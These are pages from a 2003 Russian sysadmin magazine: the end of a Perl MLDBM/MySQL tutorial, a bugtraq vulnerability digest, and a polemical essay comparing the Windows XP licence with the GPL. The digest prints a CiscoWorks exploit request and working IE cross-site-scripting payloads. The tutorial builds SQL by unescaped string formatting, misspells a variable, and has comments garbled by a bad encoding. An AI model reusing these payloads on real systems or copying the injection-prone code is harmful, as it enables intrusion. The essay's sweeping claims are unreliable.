С удалением нужно немного по-другому, через временный хеш: tie(%h,"MLDBM","glob.db",O_RDWR|O_CREAT,0666) or ↵ die "Couldn't tie DB_File $users: $!; aborting"; %tmp=%h; delete $tmp{users}->{'somebody'}; %h=%tmp; untie %h;

Добавлять тоже через временный хеш: tie(%h,"MLDBM","glob.db",O_RDWR|O_CREAT,0666) or ↵ die "Couldn't tie DB_File $users: $!; aborting"; %tmp=%h; $tmp{users}->{'morpheus'}->{password}='zion'; %h=%tmp; untie %h;

И в моем примере, и в других базах используется работа с хешами, поэтому давайте рассмотрим несколько примеров работы с хешами... Сортировка ключей хеша по алфавиту: foreach $key (sort keys %unsorted){ $val = $unsorted{$key}; # çäåñü ïåðåáîðêà êëþ÷åé õåøà ïî àëôàâèòó # äåëàåì ÷òî-òî c $key è $val }

Сортировка по ассоциированным значениям: foreach $key (sort {$unsorted{$a} cmp $unsorted{$b} } ↵ keys %unsorted){ $val = $unsoreted{$key}; # ÷òî-òî äåëàåì ñ $key è $val... }

Сортировка по длине значений (почти также, как и просто по значениям): foreach $key (sort {length($unsorted{$a}) ↵ <=> length($unsorted{$b}) } keys %unsorted){ $val = $unsoreted{$key}; # ÷òî-òî äåëàåì ñ $key è $val... }

Дальше рассмотрим небольшие примеры работы с базами данных MySQL, при помощи модуля DBI и драйвера для работы с MySQL – DBD::mysql. Эти модули также можно установить через ppm. А теперь посмотрим пример работы с MySQL:

# RaiseError => 1 - ñîîáùàòü îá îøèáêàõ $dbh = DBI->connect($conn, $user, $password, ↵ {RaiseError => 1}); # çàäàëè íàçâàíèå òýéáëà - äëÿ äàëüíåéøåãî èñïîëüçîâàíèÿ $table = "users"; # ñîçäàåì òýéáë "users" $query = "CREATE TABLE .$table(username char(16) ↵ not null,pass char(16) not null)"; # ñîçäàëè $dbh->do($query); # îòñîåäèíèëñü $dbh->disconnect();

Не особо сложными манипуляциями добавляем данные в тэйбл: # âñÿ ïðåäûäóùàÿ èíèöèàëèçàöèÿ $query = sprintf("INSERT INTO .$table (username, pass) ↵ VALUES ('%s', '%s')", $login, $pass); # âûïîëíèëè... $dbh->do($query); # è ò. ä.

Выбираем из базы: # âñÿ ïðåäûäóùàÿ èíèöèàëèçàöèÿ. # ñîçäàåì çàïðîñ ê áàçå è âûáèðàåì âñå èç òýéáëà users $sth = $dbh->prepare("select * from .users"); # âûïîëíèëè $sth->execute(); while($row = $sth->fetchrow_arrayref()){ # â äàííîì ñëó÷àå: # $row->[0] - ëîãèí (username) # $row->[1] - ïàðîëü (pass) print $row->[0]." ".$row->[1]; } # îáÿçàòåëüíî (!) ãîâîðèì, ÷òî çàâåðøèëè $sth->finish();

Удаляем тэйбл, если он существует: # âñÿ ïðåäûäóùàÿ èíèöèàëèçàöèÿ $query = "DROP TABLE IF EXISTS .$table"; # âûïîëíèëè... $dbh->do($query); # è ò.ä.

Вот, собственно, и все, в данной статье я не стал особенно глубоко рассматривать работу с базами SQL, потому как это довольно большая тема и требует отдельной статьи (если не книжки). Удачи в создании систем управления базами данных!

#!/usr/bin/perl use DBI; # íàñòðîéêè SQL ñåðâåðà ##################################### $user = "synthetic"; # ëîãèí è $password = "test"; # ïàðîëü äëÿ äîñòóïà ê ñåðâåðó $host = "localhost"; # àäðåñ SQL-ñåðâåðà $db = "site"; # áàçà äàííûõ, ñ êîòîðîé ñîåäèíÿåìñÿ $port = 3306; # ïîðò (âçÿò ïî óìîë÷àíèþ) $driver = "mysql"; # ýòî äðàéâåð äëÿ áàçû äàííûõ, ò.å. # âû ìîæåòå óêàçàòü äðàéâåð ñâîåé # áàçû è ñïîêîéíî ñîåäèíÿòñÿ ñ íåé # (åñòåñòâåííî çíàÿ åå ñåìàíòèêó) ########################################################## # äàííûå - ïðîñòî äëÿ ïðîâåðêè $login = "Vlad"; $pass = "isitreal"; $conn = "DBI:$driver:database=$db;host=$host;port=$port";

№9(10), сентябрь 2003

77


bugtraq

Удаленный доступ к системе в CiscoWorks 2000 Common Management Foundation Уязвимость обнаружена в CiscoWorks 2000 Common Management Foundation. Удаленный пользователь может получить поднятые привилегии на системе. Удаленный авторизованный пользователь может выполнить произвольный код на системе. CSCdy33916: В конфигурации по умолчанию включена учетная запись гостя с пустым паролем. Удаленный пользователь может получить доступ к учетной записи гостя. Используя учетную запись гостя, удаленный пользователь может представить специально обработанный POST-запрос, чтобы получить привилегии администратора. Например, удаленный пользователь может получить информацию о всех пользователях системы. CSCea15281: Cisco сообщает, что удаленный авторизованный пользователь может представить специально обработанный URL, чтобы выполнить команды на системе с привилегиями «casuser» учетной записи. Удаленный пользователь может, например, просмотреть конфигурацию устройства, хранящуюся в базе данных в локальном архиве. Пример: POST /CSCOnm/servlet/ ↵ com.cisco.nm.cmf.servlet.CsAuthServlet HTTP/1.0 Accept-Language: en Content-Type: application/x-www-form-urlencoded Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: 10.10.10.1:1741 Content-Length: 114 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: jrunsessionid=1057059156201223367

Уязвимость обнаружена в CiscoWorks 2000 2.1 и более ранних версиях.

Межсайтовый скриптинг в Microsoft Internet Explorer Межсайтовый скриптинг обнаружен в Microsoft Internet Explorer в about:blank странице. Атакующий может выполнить произвольный код сценария в браузере целевого пользователя. Пример: about:blank%20< script>alert('8-D uhh !');</script> about:blank%20< iframe src="about:blank%20<h1>;- )"></iframe> about:blank%20< h1>XSS is behind you...</h1>

Код будет выполнен в контексте локальной зоны безопасности. Уязвимость обнаружена в Internet Explorer version 6.0.2600.x (without SP1), Internet Explorer version 5.0.x, Internet Explorer version 4.x, Internet Explorer version 3.x. Internet Explorer version 6.0.2600.x c SP1 неуязвим к обнаруженной проблеме.

Удаленное выполнение произвольного кода в Network Associates McAfee ePolicy Orchestrator Несколько уязвимостей обнаружено в Network Associates McAfee ePolicy Orchestrator. Удаленный пользователь может выполнить произвольный код с System-привилегиями. @stake обнаружил три уязвимости, две затрагивают ePolicy Orchestrator (ePO)-сервер и одна ePO-клиент. Обе программы по умолчанию установлены с системными привилегиями. На версиях 2.x и 3.0 ePO-сервера удаленный пользователь может получить доступ к MSDE system administrator учетной записи, используя следующие шаги: удаленный пользователь может представить специально обработанный HTTP-запрос к серверу, чтобы получить конфигурационный файл сервера, который содержит кодированный пароль MSDE администратора (CVE: CAN-2003-0148). Пароль зашифрован с секретным ключом, который хранится в DDL на системе, позволяя удаленному пользователю дешифровать зашифрованный пароль и получить доступ к паролю MSDE system administrator. В конфигурации по умолчанию удаленный пользователь может получить доступ к xp__cmdshell, чтобы выполнить произвольные команды операционной системы с System-привилегиями. Также сообщается, что версии 2.х ePO-сервера содержат уязвимость форматной строки в обработке параметра ComputerList. Удаленный пользователь может представить специально обработанный HTTP POST-запрос к серверу, чтобы выполнить произвольный код (CVE: CAN-20030616). Также сообщается, что удаленный пользователь может представить специально обработанный HTTP-запрос к версии 3.0 ePO-агента, чтобы просматривать произвольные файлы на системе. (CVE: CAN-2003-0610). Уязвимость обнаружена в McAfee ePolicy Orchestrator 2.0, 2.5, 2.5.1, and 3.0. Для устранения уязвимости установите соответствующее обновление, которое можно скачать отсюда: http:// www.networkassociates.com/us/downloads/updates/ hotfixes.asp

Доступ к произвольным частям памяти веб-сервера через PHP-функцию DLOpen() Уязвимость обнаружена в PHP-функции DLOpen. Атакующий может заставить процесс Apache выполнить произвольный код. Используя функцию dlopen() в PHP, атакующий может получить доступ к памяти процесса Apache (или другого используемого веб-сервера). Первый способ записывает дамп процесса в /tmp (работает в Apache 1.x и Apache 2.x), а второй способ моделирует дефейс (работает на в Apache 1.x, но из-за обработки кода возврата не работает на Apache 2.x). Уязвимость обнаружена в PHP 4.0-4.3.1. Составил Александр Антипов

78



образование

СКУПОЙ ПЛАТИТ ДВАЖДЫ, А УМНЫЙ ИСПОЛЬЗУЕТ GNU PUBLIC LICENSE Да ну, я микрософт согну и гайки закручу!!! (Microsoft vs GNU Public License)

Общаясь со многими людьми, я заметил, что многие не знают о тех подводных камнях, которые заложены в их любимых «окошках», а подчас и не догадываются, что существует альтернатива выбора и что на серверах используется что-то отличное от их представлений. Этот факт и подвиг меня написать эту статью для просвещения масс в тех моментах, на которые у них просто физически не хватает времени. Ведь не секрет, что во время установки почти никто не читает лицензионных соглашений. Я буду считать статью удавшейся, если вы, читатели, сможете не только посмеяться над написанным, где-то над собой, но и задуматься.

ПАВЕЛ ЗАКЛЯКОВ 80


образование За последнее время наблюдается противостояние двух сторон: закрытых продуктов Microsoft (и других компаний) и открытых продуктов, распространяемых по лицензии GNU. Нельзя сказать, чтобы это противостояние было равным. Несмотря на всю комичность ситуации, на мой взгляд, это сражение не стоит на месте и люди постоянно выбирают не ту сторону. Связано это с особенностями человеческой психологии, и выбор отнюдь не основывается на разумности и дальновидных взглядах. Скорее ситуацию можно описать известной фразой «После нас хоть потоп». «Это происходит оттого, что все человеческие дела делаются людьми, которые имели и всегда будут иметь одни и те же страсти, и поэтому они неизбежно должны давать одинаковые результаты». [1]. Желание «откупиться от проблем» и навязывания нам такого образа жизни Америкой как правильного приводит к тому, что люди готовы платить другим фирмам, которые будут решать за них их проблемы. В то время как фирмы, получающие деньги, увидев эту зависимость, захотят получать деньги постоянно, для чего будут выходить в свет обновления и различные не очень нужные изменения. Они даже попытаются установить монополию на свои продукты, чтобы завоевать максимум пользователей и чтобы их продукты стояли на большинстве компьютеров. «Стремление к завоеваниям – вещь, конечно, очень естественная и обыкновенная; когда люди делают для этого всё, что могут, их всегда будут хвалить, а не осуждать; но когда у них нет на это сил, а они хотят завоевывать во что бы то ни стало, то это уже ошибка, которую надо осудить». [1]. Сложно сказать, есть ли у Miscrosoft силы на завоевания всего мира, но, видимо, нет, так как до сих пор встречаются другие операционные системы и продукты других фирм. Так что моя задача осудить их позицию в этой статье и призвать людей, читающих и мыслящих, к правильному выбору. Я отнюдь не хочу неаргументированных восклицаний вроде «Microsoft suxx», а постараюсь делать выводы обоснованно, чтобы людям стало смешно и тошно оттого, что они не замечали всего описанного ниже ранее. Для сравнения позиций я бы хотел взять две лицензии и прокомментировать существенные моменты. Первая лицензия будет GNU Public License в русском переводе, вторая может быть любой из семейства Windows. Я рассмотрел несколько вариантов перевода GNU Public License [3]: Гинзбурга В.Р. [2], Тяпкиной Елены [4] и Середы Сергея [5]. Мой выбор пал на перевод Елены Тяпкиной. Со стороны Microsoft я решил выбрать лицензионное соглашение Microsoft Windows XP Home Edition. [7]. Для простоты изложения я буду говорить, что «Microsoft или GNU пишет», подразумевая соответствующие выше этим словам лицензии. Итак, мы с первых строчек лицензий видим кнуты и пряники. Microsoft: «Настоящее лицензионное соглашение (далее «лицензионное соглашение») является юридическим соглашением». GNU: «Большинство лицензий на программное обес-

№9(10), сентябрь 2003

печение лишаeт вас права распространять и вносить изменения в это программное обеспечение. Стандартная Общественная Лицензия GNU, напротив, разработана с целью гарантировать вам право совместно использовать и вносить изменения в свободное программное обеспечение, т.е. обеспечить свободный доступ к программному обеспечению для всех пользователей». Сопоставлять предложения одно против другого сложно в силу разности лицензий, поэтому проще вначале описать все минусы и плюсы одной лицензии, а потом то же самое сделать для другой лицензии. Тем самым предоставив читателю информацию для выбора и размышления. Microsoft: «... лицензионное соглашение ... относительно ... программного продукта ... который включает в себя ... любые печатные материалы, любую «встроенную» или «электронную» документацию и службы в Интернете». Мол, всё, что напечатали, всё включается. Чёткой грани я не вижу, что включать, а что нет, ну да ладно с документацией, а как быть со службами в Интернете? Они выложат у себя на сайте какую-то часть в виде CGI или както ещё, с которой будет взаимодействовать мой продукт, а я и в глаза не буду знать, что их продукт делает. Но никого этот пункт в лицензии не пугает. Единственный плюс дальше, что если я не согласен, то: Microsoft: «Не устанавливайте и не используйте данный продукт; вы можете вернуть его лицу, у которого вы приобрели продукт, и получить обратно уплаченные вами деньги». Про копирование ничего не сказано. Возможно, этот момент защищается другими законами и актами. Однако если я поставил продукт и/или попользовался, то вроде как я уже вернуть его не могу. Так что толку в этой фразе никакого нет. Ну разве что, если у меня коробочная версия продукта, то я могу посмотреть, что за макулатуру понапихали мне в неё и отказаться, если меня она не устроила. Даже могу полюбоваться цветом компакт-диска. Microsoft: «Запрещается использовать продукт одновременно более чем 1 (одним) процессором одной рабочей станции». А как мне быть, если я запускаю продукт под эмуляцией? Что понимать под рабочей станцией? Всё, что не в корпусах под стойку? Сервер можно и из ноутбука сделать. Microsoft: «К рабочей станции разрешается подключать не более 5 (пяти) компьютеров или других электронных устройств (далее «устройство») для использования служб данного продукта, причем исключительно для доступа к файловым службам, службам печати, службам IIS, а также к службам удаленного доступа (включая общий доступ к подключению и телефонные службы). Максимальное количество подключений, равное пяти, включает любые косвенные подключения, производимые через «мультиплексирующее» или иное программное или аппаратное обеспечение, позволяющее осуществлять коллективный доступ или поочередные подключения». В общем, хороший веб-сервер я сделать не могу, так как не более 5 подключений к IIS. Разве что для тестиро-

81


образование вания вводят возможность установки «урезанного» вебсервера. Файл-сервер для домашней сети тоже нельзя, вдруг у вас через сетевое окружение 6 соседей будут чтото скачивать. Microsoft: «Обязательная активизация. ... Активизация продукта может быть выполнена через Интернет или по телефону (телефонные переговоры оплачиваются вами). В случае изменения аппаратного обеспечения компьютера или продукта может потребоваться повторная активизация продукта». Понимаем это так: обязательно отдаём сведения фирме Microsoft, среди которых размеры нашей памяти, производительность и другие параметры, чтобы та, увидев, что если массово аппаратные возможности превосходят программные и продукт не дай Бог работает быстро, могла бы добавить нужные, на её взгляд, для пользователя функции, чтобы привнести соответствие. Несомненно, что собирание различных сведений может рассматриваться как открытая форма шпионажа против стран, в которые поставляются продукты. Microsoft: «Лицензия на продукт неделима и не допускает одновременного её использования на нескольких рабочих станциях». Если у вас компьютер дома, на работе, на даче и на второй квартире, у бабушки и у дедушки, у сестры и брата, то вы купите столько лицензий, в скольких местах вы будете ставить продукт и пользоваться им. Либо носите свой компьютер с собой. Это всё равно что если вашу машину страхуют на стоянке или в гараже одной страховкой, при поездке на дачу – другой, поездке на работу – третьей, в булочную – четвёртой и т. д., ведь стоянка у булочной более опасная, чем закрытый гараж. Microsoft: «Сохранение прав. Все права, которые не предоставлены явно настоящим лицензионным соглашением, сохраняются за корпорацией Майкрософт». Забудьте про свои права. У вас есть только право платить деньги и покупать лицензии за сервис как есть и за то, что вам ничего не обещают, но об этом ниже. Microsoft: «Обновления. Если программный продукт является обновлением, для его использования вам необходимо иметь соответствующую лицензию на продукт, указанный корпорацией Майкрософт как подпадающий под предложение об обновлении. После обновления запрещается использовать продукт, являющийся основанием вашего права на обновление». Вы хотите использовать два браузера: старый для обычного просмотра страниц, так как он меньше и быстрее грузится, а новый – когда у вас что-то не отображается? У вас так не получится. Определитесь чётко! Либо новая версия, либо старая. А то, что в новом продукте вас может что-то не устроить, то у вас есть право не использовать новый продукт. Microsoft: «Дополнительное программное обеспечение и службы. Настоящее лицензионное соглашение распространяется также на предназначенные для продукта обновления, добавления, дополнительные компоненты и компоненты служб в Интернете». Если вы хотите создать доверенный продукт и защитить свой компьютер по какому-то классу безопасности

82

[14,15,16], то это будет затруднительно в случае его подключения к сети Интернет, так как вы же не можете проверить службы в Интернете, которые могут меняться по желанию Microsoft. Но это не самое страшное, дальше ещё интереснее. Microsoft: «Корпорация Майкрософт оставляет за собой право прекратить работу любой службы в Интернете, предоставленной или доступной вам посредством использования продукта». Хотите за бесплатно DoS-атаку, с которой вы согласились в этом пункте? Вам надо послать почту или сообщение, а вам в ответ: «Мы подумали и решили вам не передавать сообщения». Если начнутся военные действия, то где гарантии, что не последуют массовые сбои компьютеров? «Ирак покупал у французов истребители «Мираж» незадолго до начала «Бури в пустыне». Когда конфликт начался, ни один мираж не взлетел [9]». Отказали навигационные приборы, система управления бортовым оружием, а также связное оборудование и обычные электронные АТС, тоже, заметьте, французского производства. В перепечатке из NewScientist [10] под заголовком «Телефон-граната» [11] сообщается, что Майкл Сэйлор с коллегами из Калифорнийского университета в Сант-Диего обнаружили взрывчатое свойство кремния, обработанного нитратом гадолиния. Изготовленные из такого материала микрочипы-камикадзе способны взрываться под действием электрического импульса, нарушая работу использующего их оборудования связи, коммуникации, управления и т. д. Теперь любая купленная аппаратура может оказаться заминированной, причём взрыватель навсегда остаётся в руках её производителя. Та же самая ситуация наблюдается и с программными закладками в закрытом коде ожидающими часа «X». Закладки без проблем могут быть встроены и найти их в разумное время разумными средствами может не представляться возможным. Microsoft: «Настоящее лицензионное соглашение не предоставляет вам никаких прав на использование включенных в продукт компонентов пакета средств разработки Windows Media Format Software Development Kit». В общем, если вы надумали что-то там написать и вы программист, то вам сразу обстригут крылья, отослав ещё к одной лицензии на английском языке. Много ли программистов делают это? Microsoft: «Передача третьим лицам. Первоначальный пользователь продукта имеет право единовременной передачи его другому лицу». Вася продал свой продукт Пете, а Петя решил его подарить Ане. Но, увы, поздравить Аню с днём рождения Пете не удастся без нарушения лицензионного соглашения. Оно, может, и к лучшему, так как Аня поставит себе тогда GPL/Linux. Так что в этом пункте есть плюсы. Microsoft: «Запрет на передачу во временное пользование. Запрещается предоставлять продукт в прокат, в аренду, во временное пользование и использовать продукт для оказания третьим лицам сетевых услуг на коммерческой основе». Вы хотите вести сетевой биллинг и брать деньги? Вы хотите поставить компьютер в интернет-кафе? Нет, вы не можете этого сделать!


образование Microsoft: «Ограничение на вскрытие технологии и декомпиляцию. Запрещается вскрывать технологию или декомпилировать продукт за исключением случая и только в той степени, когда такие действия явно разрешены применимым законодательством, несмотря на наличие в лицензионном соглашении данного ограничения». Если вы не работаете в бывшем ФАПСИ и вас заставили декомпилировать, то будучи программистом высокого класса, вам обрубают крылья и сообщают, что ваши действия по исследованию кода незаконны. Будьте добры купить кота в мешке и не дай Бог вы откроете этот мешок и увидите, что там не кот, а дикобраз. Если вы открыли какой-то файл и посмотрели его в hiew в режиме asm, то вы злостный нарушитель! Не дай Бог ещё на вашем компьютере найдут какой-нибудь sourcer, IDA, SoftIce и другие программы, используемые вами, и вы не сможете объяснить, что вы ими просматривали свои программы, а не лицензированный продукт. А если вы сетевой администратор по вопросам безопасности в какой-то фирме, то, увы, у меня к вам вопрос, а как вы получаете зарплату, если вы даже теоретически не сможете доказать безопасность чёрного ящика в виде продуктов Microsoft? Microsoft: «Расторжение соглашения. Без ущерба для каких-либо иных прав корпорация Майкрософт вправе прекратить действие настоящего лицензионного соглашения при несоблюдении вами его положений и условий. В этом случае вы обязаны уничтожить все имеющиеся у вас копии продукта и всех его составных частей». Если вы мелко ошиблись и нарушили, то вас могут заставить больше не пользоваться продуктом. Не очень ясно, что в этом случае в теории делать – покупать новый и с ним уже не наступать на грабли повторно? Microsoft: «Разрешение на использование данных. Вы соглашаетесь с тем, что корпорация Майкрософт и её аффилированные лица вправе собирать и использовать технические сведения, полученные любым способом в ходе вашего обращения за услугами по технической поддержке, если таковые предоставляются, по поводу продукта». Они заберут у вас технические сведения, однако что под этим понимать, очень сложно сказать. По этой формулировке они могут даже серийный номер из процессора считать, и где тогда анонимность? Microsoft: «Корпорация Майкрософт вправе использовать эти сведения исключительно для совершенствования своих продуктов или для предоставления вам специальных услуг и технологий». Что за специальные услуги и технологии – не ясно. Или на более быстром компьютере будет иметься возможность удалённого более быстрого форматирования винчестера? Microsoft: «Корпорация Майкрософт вправе предоставлять эти сведения третьим лицам в форме, не раскрывающей вас лично». Они дадут две не раскрывающие вас выборки, из пересечения которых вас вычислят, и никто ничего не нарушит. Microsoft: «Игры и средства обновления в Интернете. Обязательным условием использования в продукте игровых возможностей и средств обновления в Интернете яв-

№9(10), сентябрь 2003

ляется предоставление определенных сведений о компьютере, аппаратных средствах и программном обеспечении, необходимых для работы этих средств». Хотите печатать конфиденциальные сведения и играть – заведите два компьютера! Microsoft: «Используя эти средства, вы тем самым явно разрешаете корпорации Майкрософт или её полномочному представителю осуществлять доступ и использование сведений, необходимых для работы игровых средств и/или средств обновления в Интернете. Корпорация Майкрософт вправе использовать эти сведения исключительно для совершенствования своих продуктов или для предоставления вам специальных услуг и технологий». Для совершенствования работы какой-то игры может понадобиться установка какой-то функции/библиотеки/ программы, которая будет присутствовать и может заработать уже после того, как игра будет удалена. Microsoft: «Компоненты служб в Интернете. Продукт содержит компоненты, обеспечивающие использование и упрощающие доступ к некоторым службам в Интернете. Вы признаете и соглашаетесь с тем, что корпорация Майкрософт имеет право выполнять автоматическую проверку версии продукта и/или его компонентов, которыми вы пользуетесь, а также имеет право обновлять или исправлять продукт путём автоматической загрузки соответствующего программного обеспечения на вашу рабочую станцию». В общем, вы проверили компьютер, далее начали работать, подключились к Интернету, у вас проверили версию и залили вам без вашего ведома вредоносный софт либо полезный софт с закладками в виде случайных ошибок или ещё как-то. Даже если у вас ничего нет секретного, то в случае выделенного подключения к Интернету с оплатой трафика вы будете платить деньги. Вы к этому готовы, что вам придётся скачать на лишнюю сотню метров обновлений? Причём обновляться они могут по нескольку раз на дню. Как вам такая финансовая ситуация? Трояны и хакеры отдыхают. Microsoft: «Исправления системы безопасности». Этот пункт для меня вообще остался серым лесом. Я так и не понял его нужность конечному пользователю. Microsoft: «Экспортные ограничения. Вы признаёте, что данный продукт произведен в США и попадает под действие установленных в США экспортных ограничений». Это вам грозит тем, что у вас будет более слабая криптография и АНБ США будет слушать вас и читать ваши сообщения при желании. Для игр это не важно, а вот банкиры и сотрудники государственных учреждений должны задуматься над этим пунктом. Microsoft: «Отказ от предоставления гарантий. Упомянутая ниже ограниченная гарантия является единственной предоставляемой вам явной гарантией, заменяющей любые другие явные гарантии (если таковые имелись), приведенные в какой-либо документации, на упаковке или предоставленные иным образом. За исключением данной ограниченной гарантии и в наибольшей степени, разрешенной применимым законодательством, корпорация

83


образование Майкрософт и её поставщики предоставляют продукт и (если таковые предоставляются) услуги по технической поддержке на условиях «как есть», со всеми неисправностями, и отказываются от предоставления каких-либо других явных, подразумеваемых или предусмотренных законодательством гарантий и условий, включая (но не ограничиваясь только ими) отказ от подразумеваемой гарантии, обязательств или условий пригодности для продажи и применимости для определенной цели, надежности или доступности, точности или полноты ответов или результатов работы, гарантии высокого качества исполнения, отсутствия вирусов, отсутствия небрежности при изготовлении продукта, а также предоставления или непредоставления технической поддержки или иных услуг, сведений, программного обеспечения и содержимого в результате или в связи с использованием продукта. Кроме того, по отношению к данному продукту не обуславливаются и не предоставляются гарантии права собственности, спокойного владения и пользования, соответствия описанию или ненарушения прав на интеллектуальную собственность». В общем, ни за что они не отвечают, и «как есть» – единственная форма поставки со всеми неисправностями. То есть из этой формулировки следует, что неисправности заведомо есть. То есть через некоторое время ждите новых версий и обновлений. Что-то и за деньги. Вы просто вчитайтесь и вдумайтесь. Даже документация может описывать другие продукты или скрывать недокументированные функции. Microsoft: «Исключение случайного, косвенного и иных определенных видов ущерба. В наибольшей степени, допускаемой применимым законодательством, ни при каких обстоятельствах корпорация майкрософт и её поставщики не несут ответственности за какой-либо особый или случайный ущерб, штрафные убытки, косвенный или опосредованный ущерб или убытки (включая, но не ограничиваясь только перечисленным, упущенную выгоду, утрату конфиденциальной или иной информации, убытки, вызванные перерывами в коммерческой или производственной деятельности, нанесение ущерба здоровью, нарушение неприкосновенности частной жизни, неисполнение любого обязательства, включая обязательство действовать добросовестно и с разумной осмотрительностью, убытки, вызванные небрежностью, любой иной ущерб и прочие убытки имущественного или иного характера), возникающие в связи с использованием или невозможностью использования продукта, или предоставлением или непредоставлением услуг по поддержке или иных услуг, сведений, программного обеспечения и содержимого в результате или в связи с использованием продукта, или в иных случаях, предусмотренных или связанных с положениями данного лицензионного соглашения, даже в случае вины, гражданского правонарушения (включая небрежность), строгой ответственности, нарушения корпорацией майкрософт или её поставщиками договорных или гарантийных обязательств, даже если корпорация майкрософт или её поставщики были заранее извещены о возможности такого ущерба».

84

А здесь мы видим, что если кто-то умер по вине операционной системы, то никто отвечать за это не будет, даже всё прописными буквами выделили, на случай если пользователь не заметит этот важный пункт. См. [9], где Александр Слуцкий говорит: «И сейчас подобные компьютеры везде. Вон последняя 745-я серия машин «БМВ». Это первая машина, которая не имеет ни одной физической связи водителя с механизмом. Всё управляется через электронику. ... Управляется машина под операционной системой «Виндоус СЕ», установленной в бортовом компьютере». У вас упал сервер – это ваши проблемы. Надо было раньше думать, какую операционную систему и какой фирмы использовать. Microsoft: «Ограничение ответственности и размера возмещения ущерба. Независимо от характера и причин причиненного вам ущерба или понесенных убытков (включая все без исключения перечисленные выше случаи ущерба и/или убытков, а также любые прямые или общие ущерб и/или убытки), максимальный размер ответственности корпорации Майкрософт или любого ее поставщика по любому из положений настоящего лицензионного соглашения, и размер причитающейся вам компенсации (за исключением компенсации в виде ремонта или замены продукта, предоставляемой по выбору корпорацией Майкрософт в связи с нарушением ограниченной гарантии) не может превысить большей из следующих сумм: суммы, фактически уплаченной вами при приобретении продукта, или суммы в размере пяти долларов США». Конечно, они не могут отдуваться за весь мир, они, так и быть, могут забрать продукт у вас, вернув немного денег, или пожертвовать вам суммой в размере пяти долларов США. Теперь давайте посмотрим на GNU GENERAL PUBLIC LICENSE. Вы можете делиться программой с друзьями. GNU: «Лицензиат вправе изготовлять и распространять экземпляры исходного текста Программы в том виде, в каком он его получил, без внесения в него изменений на любом носителе, при соблюдении следующих условий: на каждом экземпляре помещён знак охраны авторского права и уведомление об отсутствии гарантий; оставлены без изменений все уведомления, относящиеся к настоящей Лицензии и отсутствию гарантий; вместе с экземпляром Программы приобретателю передаётся копия настоящей Лицензии». Вы можете получать деньги за копирование и зарабатывать деньги на том, что будете обслуживать чужие программы. GNU: «Лицензиат вправе взимать плату за передачу экземпляра Программы, а также вправе за плату оказывать услуги по гарантийной поддержке Программы». Вы можете изменять продукт и продавать его в изменённом виде при соблюдении условий лицензии в том пункте, чтобы ваши ошибки не приписывали к тому продукту, что был до внесения вами изменений. Это защита от того, чтобы вы не ухудшали качество продукта или если и ухудшили, то страдала бы от этого только ваша репутация.


образование К любому продукту должен быть исходный код. GNU: «Например, если вы распространяете экземпляры такого программного обеспечения за плату или бесплатно, вы обязаны передать новым обладателям все права в том же объёме, в каком они принадлежат вам. Вы обязаны обеспечить получение новыми обладателями программы её исходного текста или возможность его получить. Вы также обязаны ознакомить их с условиями настоящей Лицензии». GNU: «Под исходным текстом произведения понимается такая форма произведения, которая наиболее удобна для внесения изменений». Как вам такая формулировка против ограничения на декомпиляцию и так не очень понятных человеку машинных кодов? GNU: «В случае если произведение в виде объектного кода или в исполняемой форме распространяется путем предоставления доступа для копирования его из определённого места, обеспечение равноценного доступа для копирования исходного текста из этого же места удовлетворяет требованиям распространения исходного текста, даже если третьи лица при этом не обязаны копировать исходный текст вместе с объектным кодом произведения». Если вы не программист или не хотите изменить чегото в программе, то вас не обязывают скачивать исходный код и не обязывают его получать. Это как соль на столе, когда вы можете посолить по вкусу сами, а не когда за вас это делает повар. GNU: «Каждой версии присваивается свой собственный номер. Если указано, что Программа распространяется в соответствии с определённой версией, т.е. указан её номер, или любой более поздней версией настоящей Лицензии, лицензиат вправе присоединиться к любой из этих версий Лицензии, опубликованных Free Software Foundation. Если Программа не содержит такого указания на номер версии Лицензии лицензиат вправе присоединиться к любой из версий Лицензии, опубликованных когда-либо Free Software Foundation (http://www.fsf.org)». С версиями и модификациями тоже внесена ясность. GNU: «Отсутствие гарантийных обязательств. Поскольку настоящая программа распространяется бесплатно, гарантии на неё не предоставляются в той степени, в какой это допускается применимым правом. Настоящая программа поставляется на условиях «как есть». Если иное не указано в письменной форме, автор и/или иной правообладатель не принимает на себя никаких гарантийных обязательств, как явно выраженных, так и подразумеваемых, в отношении программы, в том числе подразумеваемую гарантию товарного состояния при продаже и пригодности для использования в конкретных целях, а также любые иные гарантии. Все риски, связанные с качеством и производительностью программы, несет лицензиат. В случае если в программе будут обнаружены недостатки, все расходы, связанные с техническим обслуживанием, ремонтом или исправлением программы, несет лицензиат». Тут мы тоже видим, что продукт поставляется «как

№9(10), сентябрь 2003

есть», однако это не мешает вам написать автору продукта и попросить у него помощи. Также это не мешает создавать форумы, где можно обсуждать те или иные проблемы продуктов, и также вы можете пользоваться услугами третьих лиц, которые безвозмездно или за плату предложили вам помочь. В конце можно заключить, что наиболее выгодной является лицензия GNU GENERAL PUBLIC LICENSE, так как она предоставляет больше прав программистам, не ограничивает их в своих правах. Она также не ограничивает людей, далёких от программирования и не лишает их возможности получения помощи. Также никому не запрещается осуществлять помощь и гарантийное обслуживание чужих продуктов. Подобно тому, как вы можете чинить свой автомобиль в любом понравившемся вам сервисе или помогать в починке другим. Вы можете раскрутить свой автомобиль по гаечкам и заглянуть к нему под капот, и это даёт обязательная возможность получения вами исходных текстов бесплатно или за разумную плату, необходимую для доставки. Вы можете вносить изменения в продукты и никто не будет с вас спрашивать, на каком компьютере вы его запускаете. Вас не будут просить передавать какие-либо сведения кому-либо. Вас не могут явно заставить прекратить использовать какой-то продукт, если вы что-то нарушили. Вас никто не заставит покупать много копий или много лицензий. Вы можете установить приобретённый вами или бесплатно переписанный экземпляр какой-то программы или операционной системы где угодно и сколько угодно раз. Вас никто не будет ограничивать в количестве подключений к вашему серверу. Вы можете делать всё что угодно с программными продуктами. Программные продукты предоставляются вам в удобной для изменения форме. Всё сделано людьми для людей. Массовый переход на использование продуктов с открытым кодом значительно упростил бы жизнь. И уверения Miscrosoft, что некому будет адаптировать программные продукты для конкретных нужд какой-нибудь организации, сильно схожи с завышенным самомнением. Очень смущает на фоне всего этого заключение соглашения между бывшим ФАПСИ и Microsoft, которые решили предоставить на просмотр исходный код через специфический редактор, якобы улучшающий возможности просматривающего. [8] (А может, и скрывающий куски кода?) Да и зачем ехать в штабквартиру для просмотра особых кусков кода? Не проще ли остановить свой выбор на продуктах под GPL, где исходный код уже 